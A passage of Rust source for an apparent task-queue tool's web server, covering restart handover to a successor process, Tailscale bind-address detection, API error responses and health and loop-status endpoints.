1470impl TalkTurnGuard {
1471 fn owns(&self) -> bool {
1475 self.lease
1476 .as_ref()
1477 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1478 }
1479
1480 async fn respond(
1483 &self,
1484 talk: &mut Talk,
1485 talks: &Talks,
1486 cfg: &Config,
1487 text: &str,
1488 ) -> anyhow::Result<()> {
1489 let lease = self
1490 .lease
1491 .as_ref()
1492 .context("the turn guard no longer holds its lease")?;
1493 talk::respond(lease, talk, talks, cfg, text).await
1494 }
1495
1496 fn release(mut self, live: &mut TalkTurns) {
1499 self.lease = None;
1503 live.live.remove(&self.talk);
1504 live.queued.remove(&self.talk);
1505 self.released = true;
1506 }
1507}
1508
1509impl Drop for TalkTurnGuard {
1510 fn drop(&mut self) {
1511 if self.released {
1512 return;
1513 }
1514 drop(self.lease.take());
1516 if let Ok(mut live) = self.turns.lock() {
1517 live.live.remove(&self.talk);
1518 live.queued.remove(&self.talk);
1519 }
1520 }
1521}
1522
1523struct ResumeGuard {
1525 run: String,
1526 resuming: Arc<Mutex<HashSet<String>>>,
1527}
1528
1529impl Drop for ResumeGuard {
1530 fn drop(&mut self) {
1531 if let Ok(mut live) = self.resuming.lock() {
1532 live.remove(&self.run);
1533 }
1534 }
1535}
1536
1537async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1547 const WINDOW: Duration = Duration::from_secs(10);
1548 const GAP: Duration = Duration::from_millis(250);
1549
1550 let deadline = std::time::Instant::now() + WINDOW;
1551 let mut said = false;
1552 loop {
1553 match tokio::net::TcpListener::bind(socket).await {
1554 Ok(listener) => return Ok(listener),
1555 Err(e)
1556 if e.kind() == std::io::ErrorKind::AddrInUse
1557 && std::time::Instant::now() < deadline =>
1558 {
1559 if !said {
1560 said = true;
1561 tracing::info!(
1562 "{socket} is still held - waiting up to {}s for it, \
1563 which is what a restart looks like from here",
1564 WINDOW.as_secs()
1565 );
1566 }
1567 tokio::time::sleep(GAP).await;
1568 }
1569 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1570 }
1571 }
1572}
1573
1574static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1577
1578const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1580
1581fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1583 value.is_some_and(|v| v == "1")
1584}
1585
1586fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1609 let exe = std::env::current_exe().context("find this binary")?;
1610 let args: Vec<String> = std::env::args().skip(1).collect();
1611 updater::log_step(
1612 home,
1613 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1614 );
1615 let log_path = home.join(WEB_LOG);
1616 let open_log = || {
1617 std::fs::create_dir_all(home)?;
1618 std::fs::OpenOptions::new()
1619 .create(true)
1620 .append(true)
1621 .open(&log_path)
1622 };
1623 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1624 Ok(pair) => (
1625 std::process::Stdio::from(pair.0),
1626 std::process::Stdio::from(pair.1),
1627 ),
1628 Err(e) => {
1629 updater::log_warn(
1630 home,
1631 &format!(
1632 "could not open {}: {e}; the successor logs nowhere",
1633 log_path.display()
1634 ),
1635 );
1636 (std::process::Stdio::null(), std::process::Stdio::null())
1637 }
1638 };
1639
1640 let mut cmd = std::process::Command::new(&exe);
1641 if resume {
1642 cmd.env(RESUME_LOOP_ENV, "1");
1643 } else {
1644 cmd.env_remove(RESUME_LOOP_ENV);
1645 }
1646 cmd.args(&args)
1647 .stdin(std::process::Stdio::null())
1648 .stdout(out)
1649 .stderr(err);
1650 #[cfg(windows)]
1651 {
1652 use std::os::windows::process::CommandExt as _;
1653 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1656 }
1657 let child = cmd.spawn().context("start the successor")?;
1658 Ok(child.id())
1659}
1660
1661const WEB_LOG: &str = "web.log";
1663
1664async fn wait_for_handover(signal: &Notify) {
1668 signal.notified().await;
1669}
1670
1671pub async fn serve(opts: Opts) -> Result<()> {
1696 let (addr, warning) = resolve_bind(&opts.bind);
1697 if let Some(warning) = warning {
1698 tracing::warn!("{warning}");
1699 }
1700
1701 report::set_color(false);
1707
1708 let repo = normalize_default_repo(opts.repo).await;
1709 let ui = Ui::open(repo).with_merge(opts.merge);
1710 let home = ui.home.clone();
1715 let repo = ui.repo.clone();
1716 updater::reconcile_after_restart(&home);
1721 updater::log_step(
1722 &home,
1723 &format!(
1724 "web process started (version {}); handover log {}, successor output {}",
1725 env!("CARGO_PKG_VERSION"),
1726 updater::log_path(&home).display(),
1727 home.join(WEB_LOG).display()
1728 ),
1729 );
1730 updater::spawn_watchdog(home.clone());
1731 tokio::spawn(run_update_recheck(repo, home.clone()));
1740 let looping = ui.looping();
1741 let turns = ui.turns();
1742 let talk_store = ui.talks.clone();
1743 let socket = SocketAddr::new(addr, opts.port);
1744 let listener = bind_waiting(socket).await?;
1745 let url = format!("http://{addr}:{}", opts.port);
1746 tracing::info!(
1747 "magi web UI on {url} - there is no authentication, so anyone who can \
1748 reach this address can file and hold tasks: the tailnet is the \
1749 security boundary"
1750 );
1751 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1752 tracing::info!("resumed the loop the predecessor was running");
1753 } else {
1754 tracing::info!(
1755 "the queue loop is not running yet - start it from the UI, which is \
1756 the whole reason this process can: nothing in the queue moves until \
1757 something is running the loop"
1758 );
1759 }
1760 if opts.open {
1761 println!("{url}");
1765 }
1766
1767 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1770 let interrupted = async {
1771 if tokio::signal::ctrl_c().await.is_err() {
1772 std::future::pending::<()>().await;
1777 }
1778 };
1779 let handover = wait_for_handover(&HANDOVER);
1780 let outcome = tokio::select! {
1781 joined = &mut served => match joined {
1782 Ok(outcome) => outcome.context("serve the web UI"),
1783 Err(e) => Err(e).context("the task serving the web UI ended"),
1784 },
1785 () = interrupted => {
1786 tracing::info!("shutting down the web UI");
1787 finish_loop(&home, &looping, None).await;
1788 Ok(())
1789 }
1790 () = handover => {
1791 updater::log_step(&home, "serve: the select! woke on the handover signal");
1792 let successor_home = home.clone();
1793 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1794 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1795 spawn_successor(&successor_home, resume)
1796 })
1797 .await
1798 }
1799 };
1800 updater::log_step(
1801 &home,
1802 &match &outcome {
1803 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1804 Err(e) => format!("serve: returning an error: {e:#}"),
1805 },
1806 );
1807 outcome
1808}
1809
1810async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1831 if repo != FsPath::new(".") {
1832 return repo;
1833 }
1834 let Ok(canonical) = repo.canonicalize() else {
1835 return repo;
1836 };
1837 if git::toplevel(&canonical).await.is_ok() {
1838 return repo;
1839 }
1840 let Some(home) = dirs::home_dir() else {
1841 return repo;
1842 };
1843 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1844 Some(found) => {
1845 tracing::info!(
1846 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1847 canonical.display(),
1848 found.path.display(),
1849 found.reason,
1850 );
1851 found.path
1852 }
1853 None => repo,
1854 }
1855}
1856
1857async fn hand_over(
1887 home: &FsPath,
1888 looping: &Mutex<LoopState>,
1889 turns: &Arc<Mutex<TalkTurns>>,
1890 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1891 served: tokio::task::JoinHandle<std::io::Result<()>>,
1892 successor: impl FnOnce(bool) -> Result<u32>,
1893) -> Result<()> {
1894 updater::log_step(home, "hand_over: entered; writing the parking stage");
1895 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1899 if !recorded {
1900 updater::log_warn(
1901 home,
1902 "hand_over: upgrade.json is unreadable; no parking stage",
1903 );
1904 }
1905 finish_loop(home, looping, Some(&mut lease)).await;
1910 let parking = ParkingTurns::begin(turns);
1911 let talks_done = finish_talks(home, turns, talk_wait);
1912 tokio::pin!(talks_done);
1913 let mut beat = tokio::time::interval(LEASE_BEAT);
1914 let (abandoned, waited_for) = loop {
1915 tokio::select! {
1916 left = &mut talks_done => break left,
1917 _ = beat.tick() => lease.beat(),
1918 }
1919 };
1920 drop(lease);
1921 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1922 served.abort();
1923 let _ = served.await;
1924 updater::log_step(home, "hand_over: listener released");
1925 let resume = lock_or_recover(looping).resume_after_handover;
1928 match updater::read_progress(home) {
1929 Some(mut progress) => {
1930 progress.advance(updater::Stage::Restarting);
1931 if !abandoned.is_empty() {
1932 progress.detail = Some(format!(
1933 "handed over while {} still running after {} s",
1934 updater::talks_phrase(&abandoned),
1935 waited_for.as_secs()
1936 ));
1937 }
1938 updater::write_progress_logged(home, &progress);
1939 }
1940 None => updater::log_warn(
1941 home,
1942 "hand_over: upgrade.json is unreadable; no restarting stage",
1943 ),
1944 }
1945 updater::log_step(
1946 home,
1947 &format!("hand_over: starting the successor (resume={resume})"),
1948 );
1949 drop(parking);
1950 match successor(resume) {
1951 Ok(pid) => {
1952 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1953 Ok(())
1954 }
1955 Err(e) => {
1956 updater::log_warn(
1957 home,
1958 &format!("hand_over: the successor did not start: {e:#}"),
1959 );
1960 Err(e)
1961 }
1962 }
1963}
1964
1965const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1968
1969const TALK_POLL: Duration = Duration::from_millis(250);
1971
1972fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1975 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1976}
1977
1978fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1983 let default = Config::default().graph.timeout_talk;
1984 let longest = ids
1985 .iter()
1986 .map(|id| {
1987 talks
1988 .get(id)
1989 .ok()
1990 .and_then(|t| Config::discover(&t.repo, None).ok())
1991 .map_or(default, |(c, _)| c.graph.timeout_talk)
1992 })
1993 .max()
1994 .unwrap_or(default);
1995 talk_wait_bound(longest)
1996}
1997
1998struct ParkingTurns(Arc<Mutex<TalkTurns>>);
2002
2003impl ParkingTurns {
2004 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
2005 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
2006 Self(Arc::clone(turns))
2007 }
2008}
2009
2010impl Drop for ParkingTurns {
2011 fn drop(&mut self) {
2012 self.0
2013 .lock()
2014 .unwrap_or_else(PoisonError::into_inner)
2015 .parking = false;
2016 }
2017}
2018
2019async fn finish_talks(
2024 home: &FsPath,
2025 turns: &Mutex<TalkTurns>,
2026 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
2027) -> (Vec<String>, Duration) {
2028 let running = || {
2029 let mut ids: Vec<String> = turns
2030 .lock()
2031 .unwrap_or_else(PoisonError::into_inner)
2032 .live
2033 .iter()
2034 .cloned()
2035 .collect();
2036 let talks = talk::Talks::at(home.join("talks"));
2039 for t in talks.list() {
2040 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
2041 ids.push(t.id);
2042 }
2043 }
2044 ids.sort();
2045 ids
2046 };
2047 let started = std::time::Instant::now();
2048 let mut seen = Vec::new();
2049 let mut bound = Duration::ZERO;
2050 loop {
2051 let ids = running();
2052 if ids != seen {
2053 bound = bound.max(bound_for(&ids));
2054 if ids.is_empty() {
2055 updater::log_step(home, "finish_talks: no chat turn is running");
2056 } else {
2057 updater::log_step(
2058 home,
2059 &format!(
2060 "finish_talks: waiting for {} to finish",
2061 updater::talks_phrase(&ids)
2062 ),
2063 );
2064 }
2065 updater::set_parked_talks(home, &ids);
2066 seen = ids;
2067 }
2068 if seen.is_empty() {
2069 return (Vec::new(), bound);
2070 }
2071 if started.elapsed() >= bound {
2072 updater::log_warn(
2073 home,
2074 &format!(
2075 "finish_talks: {} still running after {} s; handing over anyway",
2076 updater::talks_phrase(&seen),
2077 bound.as_secs()
2078 ),
2079 );
2080 return (seen, bound);
2081 }
2082 tokio::time::sleep(TALK_POLL).await;
2083 }
2084}
2085
2086const LEASE_BEAT: Duration = Duration::from_secs(20);
2089
2090async fn finish_loop(
2097 home: &FsPath,
2098 state: &Mutex<LoopState>,
2099 mut lease: Option<&mut updater::LeaseGuard>,
2100) {
2101 let live = lock_or_recover(state).live.take();
2102 let Some(live) = live else {
2103 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
2104 return;
2105 };
2106 live.stop.stop();
2107 lock_or_recover(state).rev += 1;
2108 updater::log_step(
2109 home,
2110 "finish_loop: waiting for the loop to finish the run in flight",
2111 );
2112 let waited = std::time::Instant::now();
2113 let mut handle = live.handle;
2116 let mut beat = tokio::time::interval(LEASE_BEAT);
2117 loop {
2118 tokio::select! {
2119 _ = &mut handle => break,
2120 _ = beat.tick() => {
2121 if let Some(lease) = lease.as_deref_mut() {
2122 lease.beat();
2123 }
2124 }
2125 }
2126 }
2127 updater::log_step(
2128 home,
2129 &format!(
2130 "finish_loop: the loop ended after {:.1}s",
2131 waited.elapsed().as_secs_f32()
2132 ),
2133 );
2134}
2135
2136pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2142 match bind {
2143 Bind::Addr(addr) => (*addr, None),
2144 Bind::Auto => match tailscale_ip() {
2145 Ok(ip) => (IpAddr::V4(ip), None),
2146 Err(why) => (
2147 IpAddr::V4(Ipv4Addr::LOCALHOST),
2148 Some(format!(
2149 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2150 local-only and a phone cannot reach it; start Tailscale \
2151 or pass --bind <addr>"
2152 )),
2153 ),
2154 },
2155 }
2156}
2157
2158fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2166 let out = std::process::Command::new("tailscale")
2167 .args(["ip", "-4"])
2168 .quiet()
2169 .output()
2170 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2171 if !out.status.success() {
2172 let why = String::from_utf8_lossy(&out.stderr);
2173 let why = why.trim();
2174 return Err(format!(
2175 "`tailscale ip -4` failed ({}){}",
2176 out.status,
2177 if why.is_empty() {
2178 String::new()
2179 } else {
2180 format!(": {why}")
2181 }
2182 ));
2183 }
2184 String::from_utf8_lossy(&out.stdout)
2185 .lines()
2186 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2187 .find(is_tailnet)
2188 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2189}
2190
2191fn is_tailnet(ip: &Ipv4Addr) -> bool {
2193 let o = ip.octets();
2194 o[0] == 100 && (64..=127).contains(&o[1])
2195}
2196
2197type ApiResult<T> = std::result::Result<T, ApiError>;
2201
2202#[derive(Debug)]
2204struct ApiError {
2205 status: StatusCode,
2206 message: String,
2207 text_reason: Option<crate::question_delivery::UnavailableReason>,
2208}
2209
2210impl ApiError {
2211 fn bad_request(message: impl Into<String>) -> Self {
2213 Self {
2214 text_reason: None,
2215 status: StatusCode::BAD_REQUEST,
2216 message: message.into(),
2217 }
2218 }
2219
2220 fn not_found(message: impl Into<String>) -> Self {
2222 Self {
2223 text_reason: None,
2224 status: StatusCode::NOT_FOUND,
2225 message: message.into(),
2226 }
2227 }
2228
2229 fn with_status(mut self, status: StatusCode) -> Self {
2232 self.status = status;
2233 self
2234 }
2235
2236 fn bad_request_from(e: anyhow::Error) -> Self {
2240 Self::bad_request(format!("{e:#}"))
2241 }
2242
2243 fn conflict(message: impl Into<String>) -> Self {
2244 Self {
2245 text_reason: None,
2246 status: StatusCode::CONFLICT,
2247 message: message.into(),
2248 }
2249 }
2250
2251 fn internal(message: impl Into<String>) -> Self {
2253 Self {
2254 text_reason: None,
2255 status: StatusCode::INTERNAL_SERVER_ERROR,
2256 message: message.into(),
2257 }
2258 }
2259}
2260
2261impl From<anyhow::Error> for ApiError {
2262 fn from(e: anyhow::Error) -> Self {
2267 Self::internal(format!("{e:#}"))
2268 }
2269}
2270
2271impl IntoResponse for ApiError {
2272 fn into_response(self) -> Response {
2273 let mut body = serde_json::json!({ "error": self.message });
2274 if let Some(reason) = self.text_reason {
2275 body["code"] = serde_json::json!("question_text_unavailable");
2276 body["reason"] = serde_json::json!(reason);
2277 }
2278 (self.status, Json(body)).into_response()
2279 }
2280}
2281
2282async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2291where
2292 T: Send + 'static,
2293{
2294 #[cfg(test)]
2295 let job = request_cost::carry(job);
2296 match tokio::task::spawn_blocking(job).await {
2297 Ok(result) => result,
2298 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2299 }
2300}
2301
2302const ASSET_CACHE: &str = "no-cache, must-revalidate";
2320
2321fn asset_etag() -> &'static str {
2328 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2329 format!(
2330 "\"{}-{}\"",
2331 env!("CARGO_PKG_VERSION"),
2332 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2337 )
2338 });
2339 &TAG
2340}
2341
2342fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2344 [
2345 (header::CONTENT_TYPE, mime),
2346 (header::CACHE_CONTROL, ASSET_CACHE),
2347 (header::ETAG, asset_etag()),
2348 ]
2349}
2350
2351fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2359 let tag = asset_etag();
2360 let known = headers
2361 .get(header::IF_NONE_MATCH)
2362 .and_then(|v| v.to_str().ok())
2363 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2367 if known {
2368 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2369 }
2370 (asset_headers(mime), body).into_response()
2371}
2372
2373async fn index(headers: header::HeaderMap) -> Response {
2374 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2375}
2376
2377async fn app_css(headers: header::HeaderMap) -> Response {
2378 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2379}
2380
2381async fn app_js(headers: header::HeaderMap) -> Response {
2382 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2383}
2384
2385#[derive(Debug, Serialize)]
2387struct HealthView {
2388 version: &'static str,
2389 home: String,
2390 queue_rev: u64,
2391 runs_rev: u64,
2392 questions_rev: u64,
2404 talks_rev: u64,
2406 notifications_rev: u64,
2408 notifications_unread: usize,
2411 loop_rev: u64,
2416 runs_unreadable: usize,
2424 disk: DiskView,
2432 questions_open: usize,
2438 questions_needs_owner: usize,
2448 daemon: DaemonView,
2449 #[serde(rename = "loop")]
2455 looping: LoopView,
2456 update: UpdateView,
2463 upgrade: Option<UpgradeProgressView>,
2467 upgrade_request_error: Option<UpgradeRequestFailure>,
2468}
2469
2470#[derive(Debug, Serialize)]
2477struct UpdateView {
2478 available: bool,
2480 to: Option<String>,
2482}
2483
2484#[derive(Debug, Serialize)]
2486struct UpgradeProgressView {
2487 stage: updater::Stage,
2488 from: String,
2489 to: Option<String>,
2490 waiting_on: Option<String>,
2493 started_at: Timestamp,
2494 updated_at: Timestamp,
2495 detail: Option<String>,
2496 stuck_for_secs: Option<i64>,
2499 stuck_kind: Option<updater::StallKind>,
2502 handover_alive: bool,
2505}
2506
2507fn should_spawn_recheck(cfg: &Update) -> bool {
2514 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2515}
2516
2517fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2529 if progress.is_some_and(|p| !p.stage.terminal()) {
2530 return false;
2531 }
2532 checker.should_check()
2533}
2534
2535fn recheck_poll_period(cfg: &Update) -> Duration {
2548 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2549}
2550
2551async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2575 loop {
2576 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2577 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2578 if !should_spawn_recheck(&cfg.update) {
2579 continue;
2580 }
2581 let Some(checker) = updater::Checker::new(&cfg.update) else {
2582 continue;
2583 };
2584 let progress = updater::read_progress(&home);
2585 if !update_recheck_due(&checker, progress.as_ref()) {
2586 continue;
2587 }
2588 if let Err(e) = checker.newer_release().await {
2589 tracing::warn!("background update recheck failed: {e:#}");
2590 }
2591 }
2592}
2593
2594fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2600 let default;
2601 let cfg = match cfg {
2602 Some(cfg) => cfg,
2603 None => {
2604 default = Config::default();
2605 &default
2606 }
2607 };
2608 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2609 match latest {
2610 Some(latest) => UpdateView {
2611 available: true,
2612 to: Some(latest.tag_name),
2613 },
2614 None => UpdateView {
2615 available: false,
2616 to: None,
2617 },
2618 }
2619}
2620
2621fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2627 let now = Timestamp::now();
2628 let lease = updater::read_lease(&ui.home);
2629 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2630 let run_id = alive
2631 .and_then(|l| l.parked_run.as_deref())
2632 .or(progress.parked_run.as_deref());
2633 let parking = progress.stage == updater::Stage::Parking;
2634 let waited = alive.map_or_else(String::new, |l| {
2635 let secs = updater::waited_secs(l, now);
2636 format!(" (waited {} min so far)", secs / 60)
2637 });
2638 let run_text = run_id
2639 .filter(|_| parking)
2640 .map(|id| match read_run(&ui.runs, id).ok() {
2641 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2642 None => format!("run {id} is finishing"),
2643 });
2644 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2645 .filter(|t| parking && !t.is_empty())
2646 .map(|t| format!("{t} finishing"));
2647 let waiting_on = match (run_text, talks_text) {
2648 (None, None) => None,
2649 (run, talks) => {
2650 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2651 Some(format!(
2652 "{} before the address is handed over{waited}",
2653 parts.join(" and ")
2654 ))
2655 }
2656 };
2657 let detail = progress
2658 .detail
2659 .clone()
2660 .or_else(|| updater::read_note(&ui.home, &progress));
2661 let stalled = updater::stall(&progress, lease.as_ref(), now);
2662 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2663 UpgradeProgressView {
2664 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2665 stuck_kind: stalled.map(|s| s.kind),
2666 handover_alive: alive.is_some(),
2667 stage: progress.stage,
2668 from: progress.from,
2669 to: progress.to,
2670 waiting_on,
2671 started_at: progress.started_at,
2672 updated_at: progress.updated_at,
2673 detail,
2674 }
2675}
2676
2677#[derive(Debug, Serialize)]
2682struct DiskView {
2683 #[serde(skip_serializing_if = "Option::is_none")]
2685 free_bytes: Option<u64>,
2686 runs_bytes: u64,
2688 worktrees_bytes: u64,
2690 #[serde(skip_serializing_if = "Option::is_none")]
2692 cache_bytes: Option<u64>,
2693 retention: Option<crate::retention::Report>,
2695}
2696
2697impl DiskView {
2698 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2700 let cache_bytes = cfg
2701 .and_then(|cfg| cfg.cache_dir())
2702 .map(|dir| crate::disk::dir_size(&dir));
2703 Self {
2704 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2705 runs_bytes: crate::disk::dir_size(&ui.runs),
2706 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2707 cache_bytes,
2708 retention: ui
2709 .runs
2710 .parent()
2711 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2712 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2713 }
2714 }
2715}
2716
2717#[derive(Debug, Serialize)]
2719struct DaemonView {
2720 running: bool,
2721 idle: Option<bool>,
2722 pid: Option<u32>,
2723 current: Vec<daemon::Current>,
2727 completed: Option<u64>,
2728 stale_for_secs: Option<i64>,
2729}
2730
2731impl DaemonView {
2732 fn of(status: Option<daemon::Reading>) -> Self {
2736 let Some(status) = status else {
2737 return Self {
2738 running: false,
2739 idle: None,
2740 pid: None,
2741 current: Vec::new(),
2742 completed: None,
2743 stale_for_secs: None,
2744 };
2745 };
2746 let now = Timestamp::now();
2747 let age = status.age_secs(now);
2748 Self {
2749 running: status.running(now),
2750 idle: Some(status.idle),
2751 pid: status.pid,
2752 current: status.current,
2753 completed: Some(status.completed),
2754 stale_for_secs: age,
2755 }
2756 }
2757}
2758
2759async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2760 let revisions = ui.monitor.revisions(&ui).await?;
2761 blocking(move || {
2762 let reading = daemon::read_status(&ui.home);
2766 let loop_rev = ui.lock_loop().rev;
2770 let cfg = deputy_config(&ui.repo);
2773 let update = cached_update_view(cfg.as_ref());
2774 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2775 let questions = ui.questions.list();
2776 Ok(Json(HealthView {
2777 version: env!("CARGO_PKG_VERSION"),
2778 home: ui.home.display().to_string(),
2779 queue_rev: revisions.0,
2780 runs_rev: revisions.1,
2781 questions_rev: revisions.2,
2782 talks_rev: revisions.3,
2783 notifications_rev: stamps_revision(
2784 &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2785 ),
2786 notifications_unread: ui.notices.count_unread(),
2787 loop_rev,
2788 runs_unreadable: runs_unreadable(&ui.runs),
2789 questions_open: questions.iter().filter(|q| q.status.open()).count(),
2790 questions_needs_owner: questions
2791 .iter()
2792 .filter(|q| {
2793 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2794 })
2795 .count(),
2796 daemon: DaemonView::of(reading.clone()),
2797 looping: ui.loop_view(reading),
2798 disk: DiskView::of(&ui, cfg.as_ref()),
2799 update,
2800 upgrade,
2801 upgrade_request_error: ui
2802 .upgrade_request_error
2803 .lock()
2804 .unwrap_or_else(PoisonError::into_inner)
2805 .clone(),
2806 }))
2807 })
2808 .await
2809}
2810
2811#[derive(Debug, Serialize)]
2813struct LoopView {
2814 running: bool,
2816 stopping: bool,
2824 parking: bool,
2832 owned: bool,
2840 repo: String,
2843 merge: Option<String>,
2846 last_error: Option<String>,
2854 daemon: DaemonView,
2857}
2858
2859#[derive(Debug, Clone, Copy)]
2868struct Foreign {
2869 pid: Option<u32>,
2871}
2872
2873impl Foreign {
2874 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2877 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2881 }
2882
2883 fn who(&self) -> String {
2886 match self.pid {
2887 Some(pid) => format!("another magi process (pid {pid})"),
2888 None => "another magi process".to_owned(),
2889 }
2890 }
2891}
2892
2893type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2898
2899fn launch_daemon(
2901 opts: daemon::Opts,
2902 stop: daemon::Stop,
2903) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2904 Box::pin(daemon::serve_until(opts, stop))
2905}
2906
2907#[derive(Debug, Default)]
2909struct LoopState {
2910 live: Option<Live>,
2912 rev: u64,
2920 last_error: Option<String>,
2923 resume_after_handover: bool,
2928}
2929
2930#[derive(Debug)]
2932struct Live {
2933 stop: daemon::Stop,
2935 handle: tokio::task::JoinHandle<()>,
2940 opts: daemon::Opts,
2944}
2945
2946impl Live {
2947 fn alive(&self) -> bool {
2949 !self.handle.is_finished()
2950 }
2951}
2952
2953fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2960 state.lock().unwrap_or_else(PoisonError::into_inner)
2961}
2962
2963async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2965 blocking(move || {
2966 let reading = daemon::read_status(&ui.home);
2967 Ok(Json(ui.loop_view(reading)))
2968 })
2969 .await
2970}
2971
2972#[derive(Debug, Deserialize)]
2978#[serde(deny_unknown_fields)]
2979struct LoopCommand {
2980 running: bool,
2981 #[serde(default)]
2991 park: bool,
2992}
2993
2994async fn loop_post(
3002 State(ui): State<Arc<Ui>>,
3003 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3004) -> ApiResult<Json<LoopView>> {
3005 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3008 blocking(move || {
3009 let reading = daemon::read_status(&ui.home);
3010 let foreign = Foreign::of(reading.as_ref());
3011 if body.running {
3012 ui.start_loop(foreign)?;
3013 } else {
3014 ui.stop_loop(foreign, body.park)?;
3015 }
3016 Ok(Json(ui.loop_view(reading)))
3017 })
3018 .await
3019}
3020
3021#[derive(Debug, Serialize)]
3023struct UpgradeView {
3024 from: String,
3026 to: Option<String>,
3028 parked: Option<String>,
3030 detail: String,
3032}
3033
3034fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3037 progress.filter(|p| !p.stage.terminal())
3038}
3039
3040fn upgrade_retry_after(message: &str) -> Option<u64> {
3043 if !message.contains("GitHub") || !message.contains("rate limit") {
3044 return None;
3045 }
3046 if message.contains("retry now") {
3047 return Some(0);
3048 }
3049 let duration = message
3050 .split_once("resets in ")
3051 .or_else(|| message.split_once("retry after "))?
3052 .1
3053 .split_once(')')?
3054 .0;
3055 let mut rest = duration.trim();
3056 if rest.is_empty() {
3057 return None;
3058 }
3059 let mut total = 0u64;
3060 while !rest.is_empty() {
3061 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3062 let amount: u64 = rest[..n].parse().ok()?;
3063 let scale = match rest[n..].chars().next()? {
3064 's' => 1,
3065 'm' => 60,
3066 'h' => 3600,
3067 'd' => 86400,
3068 _ => return None,
3069 };
3070 total = total.checked_add(amount.checked_mul(scale)?)?;
